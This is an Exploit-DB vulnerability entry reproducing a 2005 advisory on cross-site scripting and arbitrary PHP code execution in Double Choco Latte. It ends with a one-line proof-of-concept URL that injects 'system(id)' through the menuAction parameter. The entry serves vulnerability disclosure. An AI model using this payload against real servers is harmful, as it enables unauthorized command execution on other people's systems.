Double Choco Latte 0.9.3/0.9.4 main.php Arbitrary PHP Code Execution

2005-03-24T00:00:00
ID EDB-ID:25271
Type exploitdb
Reporter James Bercegay
Modified 2005-03-24T00:00:00

Description

Double Choco Latte 0.9.3/0.9.4 main.php Arbitrary PHP Code Execution. CVE-2005-0887 . Webapps exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/12894/info

Double Choco Latte is reported prone to multiple vulnerabilities. These issues result from insufficient sanitization of user-supplied data and may allow an attacker to carry out cross-site scripting/HTML injection attacks and execute arbitrary PHP code on a computer.

Double Choco Latte 0.9.4.3 is reported vulnerable to the cross-site scripting/HTML injection issue.

Double Choco Latte 0.9.4.2 and prior versions are affected by the PHP code execution issue.

This BID will be updated when more information is available.

http://www.example.com/main.php?menuAction=htmlTickets.show;system(id);ob_start